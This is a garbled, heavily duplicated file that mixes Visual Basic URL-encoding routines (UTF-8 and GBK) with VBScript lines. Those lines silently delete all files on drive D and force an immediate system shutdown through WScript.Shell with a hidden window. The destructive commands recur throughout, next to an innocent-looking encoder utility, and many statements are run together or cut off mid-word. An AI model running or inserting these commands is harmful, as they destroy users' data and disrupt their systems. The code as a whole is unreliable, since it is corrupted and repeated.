WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true


dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true


dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

